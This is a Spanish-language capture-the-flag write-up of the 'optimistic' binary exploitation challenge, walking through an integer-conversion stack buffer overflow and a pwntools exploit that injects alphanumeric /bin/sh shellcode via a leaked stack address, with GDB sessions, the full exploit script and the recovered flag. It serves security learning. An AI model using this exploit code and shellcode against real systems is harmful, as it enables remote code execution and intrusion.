Optimistic
9 minutos de lectura
Se nos proporciona un binario de 64 bits llamado optimistic
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Ingeniería inversa
Si usamos Ghidra, veremos el código fuente descompilado en C para la función main
:
void main() {
int number;
ssize_t read_length;
uint length;
undefined4 local_80;
undefined2 local_7c;
char option;
undefined local_79;
undefined email[8];
undefined age[8];
char name[96];
initialize();
puts("Welcome to the positive community!");
puts("We help you embrace optimism.");
printf("Would you like to enroll yourself? (y/n): ");
number = getchar();
option = (char) number;
getchar();
if (option != 'y') {
puts("Too bad, see you next time :(");
local_79 = 0x6e;
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Great! Here\'s a small welcome gift: %p\n", &stack0xfffffffffffffff8);
puts("Please provide your details.");
printf("Email: ");
read_length = read(0, email, 8);
local_7c = (undefined2) read_length;
printf("Age: ");
read_length = read(0, age, 8);
local_80 = (undefined4) read_length;
printf("Length of name: ");
__isoc99_scanf("%d", &length);
if (64 < (int) length) {
puts("Woah there! You shouldn\'t be too optimistic.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Name: ");
read_length = read(0, name, (ulong) length);
length = 0;
while (true) {
if ((int) read_length - 9 <= (int) length) {
puts("Thank you! We\'ll be in touch soon.");
return;
}
number = isalpha((int) name[(int) length]);
if ((number == 0) && (9 < (int) name[(int) length] - 0x30U)) break;
length = length + 1;
}
puts("Sorry, that\'s an invalid name.");
/* WARNING: Subroutine does not return */
exit(0);
}
En primer lugar, debemos poner "y"
para continuar con el programa. Luego, se nos da una dirección de pila (stack) como regalo. Después de algunos datos, se nos dice que ingresemos la longitud de nuestro nombre, y se almacena como un número entero.
Vulnerabilidad de Buffer Overflow
En el código anterior podemos ver que name
es una cadena de caracteres de 96 bytes, pero se nos permite controlar la variable length
, que es el número de bytes que se leerán de stdin
. Nótese que length
es int
y se cambia a ulong
, por lo que tenemos una vulnerabilidad de Buffer Overflow ocasionada por una vulnerabilidad de Integer Overflow. Por ejemplo, si ponemos -1
como length
, será interpretado como 0xffffffffffffffff
(como ulong
), que da lugar al Buffer Overflow:
$ ./optimistic
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffe68cdb240
Please provide your details.
Email: asdf
Age: asdf
Length of name: -1
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you! We'll be in touch soon.
zsh: segmentation fault (core dumped) ./optimistic
Cuando el programa quiere retornar de main
, la dirección de retorno guardada en la pila ha sido sobrescrita con 0x4141414141414141
(nuestros datos de entrada). Como no es una dirección de memoria válida, el programa simplemente se rompe (violación de segmento o segmentation fault).
Explotación de Buffer Overflow
En primer lugar, nos gustaría controlar la ejecución del programa. Como se trata de un binario de 64 bits sin canario, el offset será 96 + 8 = 104
(por que después del buffer reservado se encuentra el valor anterior de $rbp
y la dirección de retorno guardada). Por tanto, necesitamos exactamente 104 bytes para alcanzar la posición de la dirección de retorno guardada en la pila.
Como NX está deshabilitado, podemos introducir shellcode en la pila y ejecutarlo. Para esto, podemos aprovecharnos de la fuga de memoria y sobrescribir la dirección de retorno con una dirección conocida. Luego, en lugar de poner bytes cualesquiera, pondremos shellcode para obtener una shell.
Por ejemplo, podemos usar msfvenom
:
$ msfvenom -p linux/x64/exec -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of py file: 117 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
Depuración con GDB
Podemos comenzar con este script en Python y depurar un poco con GDB:
#!/usr/bin/env python3
from pwn import *
context.binary = 'optimistic'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
gdb.attach(p, 'break *main+482\ncontinue')
p.sendlineafter(b'Would you like to enroll yourself? (y/n): ', b'y')
p.recvuntil(b'Great! Here\'s a small welcome gift: ')
stack_leak = int(p.recvline().decode(), 16)
log.info(f'Stack leak: {hex(stack_leak)}')
shellcode = b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05'
p.sendafter(b'Email: ', b'asdf')
p.sendafter(b'Age: ', b'qwer')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'A' * offset
payload = junk
payload += p64(stack_leak)
p.sendafter(b'Name: ', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1333998
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1333998', '-x', '/tmp/pwnra1og2j8.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffda28224b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
Vemos que la dirección de retorno será 0x7ffda28224b0
, la fuga de memoria de la pila:
gef➤ x/i $rip
=> 0x5636b649140b <main+482>: ret
gef➤ x/gx $rsp
0x7ffda28224b8: 0x00007ffda28224b0
gef➤ x/40gx 0x00007ffda28224b0
0x7ffda28224b0: 0x4141414141414141 0x00007ffda28224b0
0x7ffda28224c0: 0x00007f54d463b620 0x00007ffda28225a8
0x7ffda28224d0: 0x0000000100000000 0x00005636b6491229
0x7ffda28224e0: 0x00005636b6491410 0xd1afc7aa11d5fbf4
0x7ffda28224f0: 0x00005636b64910c0 0x00007ffda28225a0
0x7ffda2822500: 0x0000000000000000 0x0000000000000000
0x7ffda2822510: 0x2e5482ae5855fbf4 0x2f066f2ed1bbfbf4
0x7ffda2822520: 0x0000000000000000 0x0000000000000000
0x7ffda2822530: 0x0000000000000000 0x0000000000000001
0x7ffda2822540: 0x00007ffda28225a8 0x00007ffda28225b8
0x7ffda2822550: 0x00007f54d463d190 0x0000000000000000
0x7ffda2822560: 0x0000000000000000 0x00005636b64910c0
0x7ffda2822570: 0x00007ffda28225a0 0x0000000000000000
0x7ffda2822580: 0x0000000000000000 0x00005636b64910ee
0x7ffda2822590: 0x00007ffda2822598 0x000000000000001c
0x7ffda28225a0: 0x0000000000000001 0x00007ffda2822a93
0x7ffda28225b0: 0x0000000000000000 0x00007ffda2822ad0
0x7ffda28225c0: 0x00007ffda2822adb 0x00007ffda2822af2
0x7ffda28225d0: 0x00007ffda2822b0d 0x00007ffda2822b43
0x7ffda28225e0: 0x00007ffda2822b54 0x00007ffda2822b7e
gef➤ x/40gx 0x00007ffda28224b0-104
0x7ffda2822448: 0x0000000072657771 0x4141414141414141
0x7ffda2822458: 0x4141414141414141 0x4141414141414141
0x7ffda2822468: 0x4141414141414141 0x4141414141414141
0x7ffda2822478: 0x4141414141414141 0x4141414141414141
0x7ffda2822488: 0x4141414141414141 0x4141414141414141
0x7ffda2822498: 0x4141414141414141 0x4141414141414141
0x7ffda28224a8: 0x4141414141414141 0x4141414141414141
0x7ffda28224b8: 0x00007ffda28224b0 0x00007f54d463b620
0x7ffda28224c8: 0x00007ffda28225a8 0x0000000100000000
0x7ffda28224d8: 0x00005636b6491229 0x00005636b6491410
0x7ffda28224e8: 0xd1afc7aa11d5fbf4 0x00005636b64910c0
0x7ffda28224f8: 0x00007ffda28225a0 0x0000000000000000
0x7ffda2822508: 0x0000000000000000 0x2e5482ae5855fbf4
0x7ffda2822518: 0x2f066f2ed1bbfbf4 0x0000000000000000
0x7ffda2822528: 0x0000000000000000 0x0000000000000000
0x7ffda2822538: 0x0000000000000001 0x00007ffda28225a8
0x7ffda2822548: 0x00007ffda28225b8 0x00007f54d463d190
0x7ffda2822558: 0x0000000000000000 0x0000000000000000
0x7ffda2822568: 0x00005636b64910c0 0x00007ffda28225a0
0x7ffda2822578: 0x0000000000000000 0x0000000000000000
Nos interesa poner la dirección donde estará nuestro shellcode. No obstante, este código no nos permite poner shellcode:
number = isalpha((int) name[(int) length]);
if ((number == 0) && (9 < (int) name[(int) length] - 0x30U)) break;
length = length + 1;
La función isalpha
mira si un carácter es una letra. Si no, el programa comprueba si el carácter es un número. Y si no, el programa se cierra. Tenemos la posibilidad de añadir bytes arbitrarios al final del payload, pero solamente 8 bytes debido a este bloque if
:
if ((int) read_length - 9 <= (int) length) {
puts("Thank you! We\'ll be in touch soon.");
return;
}
Sin embargo, tenemos 8 bytes en email
y otros 8 bytes en age
, que parece suficiente espacio para poner shellcode personalizado. Vamos a modificar el exploit y mirar en GDB:
p.sendafter(b'Email: ', b'AAAAAAAA')
p.sendafter(b'Age: ', b'BBBBBBBB')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'C' * offset
payload = junk
payload += p64(stack_leak)
p.sendafter(b'Name: ', payload)
p.interactive()
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1366945
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1366945', '-x', '/tmp/pwnvvchkn1y.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffdd3759580
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
gef➤ grep AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[stack]'(0x7ffdd373a000-0x7ffdd375b000), permission=rwx
0x7ffdd3759510 - 0x7ffdd3759547 → "AAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
gef➤ p/x 0x7ffdd3759580 - 0x7ffdd3759510
$1 = 0x70
Interesante… Vamos a analizar el shellcode:
$ pwn disasm -c amd64 $(echo -ne '\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' | xxd -p)
0: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax, 0x68732f6e69622f
a: 99 cdq
b: 50 push rax
c: 54 push rsp
d: 5f pop rdi
e: 52 push rdx
f: 5e pop rsi
10: 6a 3b push 0x3b
12: 58 pop rax
13: 0f 05 syscall
$ echo -ne '\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' | xxd
00000000: 48b8 2f62 696e 2f73 6800 9950 545f 525e H./bin/sh..PT_R^
00000010: 6a3b 580f 05 j;X..
Algunos bytes están permitidos para entrar en la región C
. Los que no están permitidos tendríamos que meterlos en A
y B
, pero el shellcode tiene que ser fiable.
Vamos a poner \xcc
(SIGTRAP, un breakpoint) en la región A
para saltar a esa dirección:
p.sendafter(b'Email: ', b'\xccAAAAAAA')
p.sendafter(b'Age: ', b'BBBBBBBB')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'C' * offset
payload = junk
payload += p64(stack_leak - 0x70)
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1385841
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1385841', '-x', '/tmp/pwn8149qc_h.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffd5e637ec0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
gef➤ info registers
rax 0x23 0x23
rbx 0x557b9b5d6410 0x557b9b5d6410
rcx 0x7fec92d26077 0x7fec92d26077
rdx 0x0 0x0
rsi 0x7fec92e05723 0x7fec92e05723
rdi 0x7fec92e067e0 0x7fec92e067e0
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7ffd5e637ed0 0x7ffd5e637ed0
r8 0x23 0x23
r9 0x6 0x6
r10 0xfffffffffffff58a 0xfffffffffffff58a
r11 0x246 0x246
r12 0x557b9b5d60c0 0x557b9b5d60c0
r13 0x7ffd5e637fb0 0x7ffd5e637fb0
r14 0x0 0x0
r15 0x0 0x0
rip 0x7ffd5e637e51 0x7ffd5e637e51
eflags 0x246 [ PF ZF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
k0 0x0 0x0
k1 0x0 0x0
k2 0x0 0x0
k3 0x0 0x0
k4 0x0 0x0
k5 0x0 0x0
k6 0x0 0x0
k7 0x0 0x0
gef➤ x/20gx $rip-1
0x7ffd5e637e50: 0x41414141414141cc 0x4242424242424242
0x7ffd5e637e60: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e70: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e80: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e90: 0x4343434343434343 0x4343434343434343
0x7ffd5e637ea0: 0x4343434343434343 0x4343434343434343
0x7ffd5e637eb0: 0x4343434343434343 0x4343434343434343
0x7ffd5e637ec0: 0x4343434343434343 0x00007ffd5e637e50
0x7ffd5e637ed0: 0x00007fec92e51620 0x00007ffd5e637fb8
0x7ffd5e637ee0: 0x0000000100000000 0x0000557b9b5d6229
No hay espacio suficiente para poner el shellcode anterior (21 bytes) ya que solo tenemos 16 bytes para shellcode arbitrario. No obstante, podemos utilizar un codificador para introducir shellcode con los valores apropiados en la región C
. Pero no hay codificadores disponibles para sistemas x86_64:
$ msfvenom --list encoders | grep x64
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
Aún así, se puede encontrar este shellcode, que es completamente alfanumérico y encaja en el espacio disponible (87 bytes):
XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
Así que este es el payload final:
shellcode = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V'
p.sendafter(b'Email: ', shellcode[:8])
p.sendafter(b'Age: ', shellcode[8:16])
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
payload = shellcode[16:]
payload += b'C' * (offset - len(payload))
payload += p64(stack_leak - 0x70)
Y así conseguimos una shell en local:
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1640072
[*] Stack leak: 0x7ffde8b215b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$ ls
optimistic solve.py
Flag
Probemos en remoto:
$ python3 solve.py 64.227.42.184:30847
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 64.227.42.184 on port 30847: Done
[*] Stack leak: 0x7ffc8ae208b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$ ls
flag.txt
optimistic
$ cat flag.txt
HTB{be1ng_negat1v3_pays_0ff!}
El exploit completo se puede encontrar aquí: solve.py
.